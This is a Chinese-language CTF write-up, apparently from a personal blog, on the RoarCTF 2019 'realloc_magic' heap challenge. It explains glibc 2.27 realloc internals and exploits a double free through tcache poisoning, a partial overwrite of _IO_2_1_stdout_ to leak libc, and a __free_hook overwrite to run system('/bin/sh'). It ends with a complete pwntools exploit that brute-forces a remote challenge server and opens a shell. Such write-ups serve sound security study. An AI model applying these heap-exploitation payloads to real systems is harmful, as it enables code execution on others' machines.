2019_realloc_magic--realloc与tcache

前言

2019_realloc_magic是在2.27环境下的一个堆题,里面只用到了realloc函数进行堆分配,所以先来深入了解realloc函数

realloc–2.27

功能是:重新调整之前调用 malloc 或 calloc或其他堆函数 所分配的 ptr 所指向的内存块的大小。
我们使用时:

void *realloc(void *ptr, size_t size)

函数原型:

void *__libc_realloc (void *oldmem, size_t bytes);

接下来都是看函数原型

关键源码

首先,和malloc还有free一样会先进行钩子函数判断

  void *(*hook) (void *, size_t, const void *) =
    atomic_forced_read (__realloc_hook);
  if (__builtin_expect (hook != NULL, 0))
    return (*hook)(oldmem, bytes, RETURN_ADDRESS (0));

然后如果重分配的size为0,且原地址存在

#define REALLOC_ZERO_BYTES_FREES 1
#if REALLOC_ZERO_BYTES_FREES
  if (bytes == 0 && oldmem != NULL)
    {
      __libc_free (oldmem); return 0;
    }
#endif

那么可以看到这时:

realloc(void *ptr, size_t size) == __libc_free (void *ptr);

如果重分配的原地址为NULL

  /* realloc of null is supposed to be same as malloc */
  if (oldmem == 0)
    return __libc_malloc (bytes);

那么:

realloc(void *ptr, size_t size) == __libc_malloc (size);

没有出现以上特殊情况就执行真正的realloc—_int_realloc

  const mchunkptr oldp = mem2chunk (oldmem);
  /* its size */
  const INTERNAL_SIZE_T oldsize = chunksize (oldp);
[....]
  checked_request2size (bytes, nb);   //对齐操作
[....]  
  if (SINGLE_THREAD_P)
    {
      newp = _int_realloc (ar_ptr, oldp, oldsize, nb);    //<======
      assert (!newp || chunk_is_mmapped (mem2chunk (newp)) ||
          ar_ptr == arena_for_chunk (mem2chunk (newp)));

      return newp;
    }

_int_realloc

如果原chunk足够,则按照新的需求切割原chunk

  if ((unsigned long) (oldsize) >= (unsigned long) (nb))
    {
      /* already big enough; split below */
      newp = oldp;
      newsize = oldsize;
    }
[....]
    /*看切割后剩余的chunk能不能作为remainder*/
  assert ((unsigned long) (newsize) >= (unsigned long) (nb));

  remainder_size = newsize - nb;

  if (remainder_size < MINSIZE)   /* not enough extra to split off */
    {
      set_head_size (newp, newsize | (av != &main_arena ? NON_MAIN_ARENA : 0));
      set_inuse_bit_at_offset (newp, newsize);
    }
  else   /* split remainder */  /*如果可以作为remainder,则对其进行free操作*/
    {
      remainder = chunk_at_offset (newp, nb);
      set_head_size (newp, nb | (av != &main_arena ? NON_MAIN_ARENA : 0));
      set_head (remainder, remainder_size | PREV_INUSE |
                (av != &main_arena ? NON_MAIN_ARENA : 0));
      /* Mark remainder as inuse so free() won't complain 在free之前先将remainder后面chunk的inuse为置1*/
      set_inuse_bit_at_offset (remainder, remainder_size);
      /*free 剩余的作为remainder*/
      _int_free (av, remainder, 1);
    }

  check_inuse_chunk (av, newp);
  return chunk2mem (newp);   //整个函数的返回
}    

这种情况返回原指针

如果原chunk不足,尝试利用nextchunk

如果nextchunk 为 top那就直接从top分割,扩大原chunk
      /* Try to expand forward into top */
      if (next == av->top &&
          (unsigned long) (newsize = oldsize + nextsize) >=
          (unsigned long) (nb + MINSIZE))
        {
          set_head_size (oldp, nb | (av != &main_arena ? NON_MAIN_ARENA : 0));
          av->top = chunk_at_offset (oldp, nb);
          set_head (av->top, (newsize - nb) | PREV_INUSE);
          check_inuse_chunk (av, oldp);
          return chunk2mem (oldp);
        }
如果nextchunk 为free chunk,如果合并后可以满足要求则进行合并
      /* Try to expand forward into next chunk;  split off remainder below */
      else if (next != av->top &&
               !inuse (next) &&   //inuse 宏判断当前chunk的use状态
               (unsigned long) (newsize = oldsize + nextsize) >=
               (unsigned long) (nb))
        {
          newp = oldp;
          unlink (av, next, bck, fwd);
        }

[.....]     
   /*同样的,在合并之后对整个chunk进行按需切割*/ 
  /* If possible, free extra space in old or extended chunk */

  assert ((unsigned long) (newsize) >= (unsigned long) (nb));

  remainder_size = newsize - nb;

  if (remainder_size < MINSIZE)   /* not enough extra to split off */
    {
      set_head_size (newp, newsize | (av != &main_arena ? NON_MAIN_ARENA : 0));
      set_inuse_bit_at_offset (newp, newsize);
    }
  else   /* split remainder */
    {
      remainder = chunk_at_offset (newp, nb);
      set_head_size (newp, nb | (av != &main_arena ? NON_MAIN_ARENA : 0));
      set_head (remainder, remainder_size | PREV_INUSE |
                (av != &main_arena ? NON_MAIN_ARENA : 0));
      /* Mark remainder as inuse so free() won't complain */
      set_inuse_bit_at_offset (remainder, remainder_size);
      _int_free (av, remainder, 1);
    }

  check_inuse_chunk (av, newp);
  return chunk2mem (newp);
}  
如果nextchunk无法利用,则malloc(newsize),然后数据赋值,free原chunk
          else
            {
              /*
                 Unroll copy of <= 36 bytes (72 if 8byte sizes)
                 We know that contents have an odd number of
                 INTERNAL_SIZE_T-sized words; minimally 3.
               */

              copysize = oldsize - SIZE_SZ;
              s = (INTERNAL_SIZE_T *) (chunk2mem (oldp));
              d = (INTERNAL_SIZE_T *) (newmem);
              ncopies = copysize / sizeof (INTERNAL_SIZE_T);
              assert (ncopies >= 3);

              if (ncopies > 9)
                memcpy (d, s, copysize);

              else
                {
                  *(d + 0) = *(s + 0);
                  *(d + 1) = *(s + 1);
                  *(d + 2) = *(s + 2);
                  if (ncopies > 4)
                    {
                      *(d + 3) = *(s + 3);
                      *(d + 4) = *(s + 4);
                      if (ncopies > 6)
                        {
                          *(d + 5) = *(s + 5);
                          *(d + 6) = *(s + 6);
                          if (ncopies > 8)
                            {
                              *(d + 7) = *(s + 7);
                              *(d + 8) = *(s + 8);
                            }
                        }
                    }
                }

              _int_free (av, oldp, 1);
              check_inuse_chunk (av, newp);
              return chunk2mem (newp);
            }
        }

小结

  • realloc(ptr,0)相当于free函数
  • realloc(0.size)相当于malloc函数
  • realloc(ptr,size)
    • newsize<size:进行分割,剩下的chunk如果大于等于MINSIZE则进行free
    • newsize<size:
      • next 为top且满足需求,直接从top切割
      • next为freechunk 且满足要求先合并(unlink)再切割
      • next不满足要求进行malloc(newsize),然后进行数据拷贝,free原chunk

2019_realloc_magic

IDA

  init();                                       // 标准缓冲区关闭
  while ( 1 )
  {
    menu();
    choice = read_int();
    switch ( choice )
    {
      case 2:
        delete();                               // 将bss_realloc_ptr  free后未bss记录的指针置零
                                                // double free漏洞
        break;
      case 666:
        ba();                                   // 只能进行一次bss的指针置零操作
        break;
      case 1:
        add();                                  // 通过realloc获取chunk,指针同样记录在bss段
                                                // read读取对应size个字节,未添加截至符'\x00'
        break;
      default:
        puts("invalid choice");
        break;

这里函数都比较简单,没有复杂的堆数据结构,主要对realloc和tcache的利用

add函数

int add()
{
  unsigned int size; // ST0C_4

  puts("Size?");
  size = read_int();
  bss_realloc_ptr = realloc(bss_realloc_ptr, size);
  puts("Content?");
  read(0, bss_realloc_ptr, size);
  return puts("Done");
}

思路

主要利用基础:UAF,double free
注意到题目中是没有show类型的函数的,所以想进行地址泄露应该要靠IO_FILE攻击
难点:利用realloc进行堆块合并后,再利用UAF进行地址覆盖

关联libc地址

整个程序保护全开,而且没有show函数那么我们能利用small chunk的释放获得~libc地址

    #chunk0
    add(0x70,'A'*8)
    add(0,'A'*8)
    #chunk1
    add(0x100,'B'*8)
    add(0,' ')
    #chunk2
    add(0xa0,'C'*8)
add(0,' ')
add(0x100,'B'*8)     #获取chunk1
for i in range(7):   #2.27glibc下的tcache几乎没有检测机制
    delete()
add(0,'')  #注意add(0,'')的同时不仅释放了原chunk还将bss上的记录置零

最后的add(0,’’)使得chunk1无法放入tcache从而放入unsortedbin这样就获得了~libc

                  top: 0x55f30ee29490 (size : 0x20b70) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x55f30ee292d0 (size : 0x110)
(0x80)   tcache_entry[6](1): 0x55f30ee29260
(0xb0)   tcache_entry[9](1): 0x55f30ee293f0
(0x110)   tcache_entry[15](7): 0x55f30ee292e0

realloc的extend

根据realloc函数的特点,如果next是一个freechunk 那么如果oldchunk和next之和能够满足要求,则进行合并

    add(0x70,'A'*8)            #0    获得chunk0
    add(0x180,'D'*8)        #之前我们设置chunk0为0x70,chunk1为0x100然后在realloc(0x180)就可以刚好占用这两个chunk,而chunk2用于隔离top

此时堆:

0x5644537b0250:    0x0000000000000000    0x0000000000000191    <=====我们获得的  chunk0
0x5644537b0260:    0x4444444444444444    0x0000000000000000
0x5644537b0270:    0x0000000000000000    0x0000000000000000
0x5644537b0280:    0x0000000000000000    0x0000000000000000
0x5644537b0290:    0x0000000000000000    0x0000000000000000
0x5644537b02a0:    0x0000000000000000    0x0000000000000000
0x5644537b02b0:    0x0000000000000000    0x0000000000000000
0x5644537b02c0:    0x0000000000000000    0x0000000000000000
0x5644537b02d0:    0x0000000000000000    0x0000000000000111    <=======tcache所记录的  chunk1
0x5644537b02e0:    0x00007f021ed13ca0    0x00007f021ed13ca0
0x5644537b02f0:    0x0000000000000000    0x0000000000000000
tcachebins
0xb0 [  1]: 0x5644537b03f0 ◂— 0x0
0x110 [  7]: 0x5644537b02e0 —▸ 0x7f021ed13ca0 (main_arena+96)

我们通过chunk0就可以任意修改chunk1,那么我们想要获得一个有用的地址就需要:

  • 将chunk1的size修改
  • next字段(fd)覆盖为可利用字段,这里就是IO_2_1_stdout
    pwndbg> p &_IO_2_1_stdout_ 
    $1 = (struct _IO_FILE_plus *) 0x7f021ed13760 <_IO_2_1_stdout_>
    所以我们将next字段的最后两个字节覆盖为0x?760。
    在本地我们可以先关闭ASLR精准覆盖,之后攻击成功再开启,只需爆破一位即可

将chunk1的size字段修改后再进行一次realloc(ptr,0x100)和realloc(ptr,0)就可以将chunk1取出并放入另一个tcache。因为tcache_get /tcache_get 只检查了对应下标是否越界以及改下标下是否有freechunk

payload = 'A'*0x78 + p64(0x41) 
    payload += '\x60\x37'
    add(0x180,payload)
    add(0,'')
    add(0x100,'B'*8)          #chunk1
    add(0,'')

此时堆:

(0x40)   tcache_entry[2](1): 0x5555557592e0                <=====
(0xb0)   tcache_entry[9](1): 0x5555557593f0
(0x110)   tcache_entry[15](6): 0x7ffff7dd3760 --> 0xfbad2887 (invaild memory)    <=====之后就可以获得_IO_2_1_stdout_ 的写入权
(0x190)   tcache_entry[23](1): 0x555555759260

IO Attack

通过调试puts调用过程:

  • __GI__IO_file_xsputn (_IO_new_file_xsputn)
    • 计算当前输出缓冲区大小count = f->_IO_write_end - f->_IO_write_ptr;
      • 如果输出缓冲区无法满足,调用_IO_OVERFLOW刷新,或分配缓冲区。这里就可以达到我们的目的
        pwndbg> p _IO_2_1_stdout_ 
        $1 = {
        file = {
        _flags = -72537977, 
        _IO_read_ptr = 0x7ffff7dd37e3 <_IO_2_1_stdout_+131> "\n", 
        _IO_read_end = 0x7ffff7dd37e3 <_IO_2_1_stdout_+131> "\n", 
        _IO_read_base = 0x7ffff7dd37e3 <_IO_2_1_stdout_+131> "\n", 
        _IO_write_base = 0x7ffff7dd37e3 <_IO_2_1_stdout_+131> "\n", 
        _IO_write_ptr = 0x7ffff7dd37e3 <_IO_2_1_stdout_+131> "\n", 
        _IO_write_end = 0x7ffff7dd37e3 <_IO_2_1_stdout_+131> "\n", 
        _IO_buf_base = 0x7ffff7dd37e3 <_IO_2_1_stdout_+131> "\n", 
        _IO_buf_end = 0x7ffff7dd37e4 <_IO_2_1_stdout_+132> "", 
        我们将输入缓冲区类的指针直接覆盖为0,将write_base覆盖成相对较低的地址,并且能泄露有用地址。
        由于stderr_addr < stdout_addr < stdin_addr:
        pwndbg> p &_IO_2_1_stderr_ 
        $2 = (struct _IO_FILE_plus *) 0x7ffff7dd3680 <_IO_2_1_stderr_>
        pwndbg> p &_IO_2_1_stderr_->vtable 
        $3 = (const struct _IO_jump_t **) 0x7ffff7dd3758 <_IO_2_1_stderr_+216>
        只需覆盖一个字节,所以我们就可以将write_base覆盖为&IO_2_1_stderr->vtable 这样就可以泄露

然后通过同样的方法我们可以覆盖tcache的next为hook地址,这次不需要爆破,因为libc地址已经知道了

EXP

#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-                           
#Author: Squarer
#Time: 2020.11.16 17.36.39
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*

#context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF('./roarctf_2019_realloc_magic')
libc = ELF('./libc-2.27.so')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/glibc/x64/2.27/lib/libc-2.27.so')

def add(size,cont):
    sh.sendlineafter('>> ','1')
    sh.sendlineafter('Size?\n',str(size))
    if(size!=0):
        sh.sendafter('Content?\n',str(cont))


def delete():
    sh.sendlineafter('>> ','2')

def ba():
    sh.sendlineafter('>> ','666')

def show_addr(name,addr):
    log.success('The '+str(name)+' Addr:' + str(hex(addr)))

#sh = process('./roarctf_2019_realloc_magic')

def pwn():
    #chunk0
    add(0x70,'A'*8)
    add(0,'A'*8)
    #chunk1
    add(0x100,'B'*8)
    add(0,' ')
    #chunk2
    #gdb.attach(sh)
    add(0xa0,'C'*8)
    add(0,' ')
    delete()
    #chunk1
    add(0x100,'B'*8)
    for i in range(7):
        delete()
    add(0,'')

    add(0x70,'A'*8)            #0    

    #gdb.attach(sh,'b*$rebase(0x0A2A)')
    #hijacking
    add(0x180,'D'*8)
    payload = 'A'*0x78 + p64(0x41) 
    payload += '\x60\x67'
    add(0x180,payload)
    add(0,'')
    add(0x100,'B'*8)          #1
    add(0,'')
    #gdb.attach(sh)
    payload1 = p64(0xfbad1887) + p64(0)*3 + p8(0x58)
    #gdb.attach(sh,'b*puts')
    add(0x100,payload1)

    #leaking
    libc_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - libc.sym['_IO_file_jumps']
    if(libc_addr == -libc.sym['_IO_file_jumps']):
        sh.close()
        log.info("Fail!")
    system_addr = libc_addr + libc.sym['system']
    free_hook = libc_addr + libc.sym['__free_hook']
    show_addr('libc_addr',libc_addr)
    show_addr('system_addr',system_addr)

    #attack
    ba()
    add(0x120,'A')
    add(0,'')
    add(0x130,'B')
    add(0,'')
    add(0x200,'C')
    add(0,'')

    add(0x130,'B')
    for i in range(7):
        delete()
    add(0,'')
    add(0x120,'A')
    payload3 = 'A'*0x128 + p64(0x41)
    payload3 += p64(free_hook-0x8)
    add(0x260,payload3)
    add(0,'')
    add(0x130,'A'*8)
    add(0,'')

    add(0x130,'/bin/sh\x00'+p64(system_addr))
    delete()
    sh.interactive()

if __name__ == "__main__":
    while True:
         sh = remote('node3.buuoj.cn',29854)
         try:
                    pwn()
         except:
                    sh.close()

 上一篇
2020--HECTF 2020--HECTF
numschecsecmatrix@ubuntu:~/PWN/HEctf$ checksec nums [*] '/home/matrix/PWN/HEctf/nums' Arch: amd64-64-little
2020-11-23
下一篇 
IO_FILE --glibc2.24 IO_FILE --glibc2.24
FSOP 在新版本的 glibc 中 (2.24),全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。如果 vtable 是非法的,那么会引发 a
2020-11-07
  目录